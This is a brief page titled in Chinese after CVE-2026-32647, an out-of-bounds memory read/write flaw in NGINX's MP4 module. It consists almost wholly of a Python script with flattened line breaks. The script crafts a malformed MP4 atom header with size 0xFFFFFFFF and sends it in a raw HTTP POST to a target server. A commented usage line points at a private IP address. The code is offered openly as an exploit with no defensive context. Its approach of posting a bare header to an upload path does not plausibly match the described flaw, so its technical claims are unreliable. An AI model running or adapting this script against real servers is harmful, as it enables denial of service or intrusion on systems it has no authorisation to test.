CVE-2026-32647 NGINX MP4模块内存越界读写漏洞

import socket import struct def create_malformed_mp4(): # Simulate a malformed MP4 atom with an invalid size # Size: 0xFFFFFFFF (Max uint32, causes overflow) # Type: 'ftyp' malformed_header = struct.pack('>I', 0xFFFFFFFF) + b'ftyp' return malformed_header def send_exploit(target_host, target_port): payload = create_malformed_mp4() request = f"""POST /upload.mp4 HTTP/1.1 Host: {target_host} Content-Type: video/mp4 Content-Length: {len(payload)} """.encode() + payload try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) s.send(request) print("[+] Malformed MP4 payload sent successfully.") s.close() except Exception as e: print(f"[-] Error sending payload: {e}") # Usage Example # send_exploit("192.168.1.10", 80)